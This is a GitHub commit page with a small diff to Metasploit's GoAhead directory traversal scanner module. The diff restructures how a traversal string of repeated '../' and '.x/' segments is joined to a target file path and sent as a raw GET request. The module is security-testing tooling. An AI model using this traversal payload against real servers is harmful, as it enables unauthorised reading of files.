Skip to content

Commit dc14c77

Browse files
committed
Changed the traversal variable to just one line
1 parent 441042e commit dc14c77

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/auxiliary/scanner/http/goahead_traversal.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,13 +42,13 @@ def initialize(info = {})
4242
end
4343

4444
def run_host(ip)
45-
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH']
4645
filename = datastore['FILEPATH']
4746
filename = filename[1, filename.length] if filename =~ /^\//
47+
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename
4848

4949
res = send_request_raw({
5050
'method' => 'GET',
51-
'uri' => "#{traversal}#{filename}"
51+
'uri' => "#{traversal}"
5252
})
5353

5454
if res &&

0 commit comments

Comments
 (0)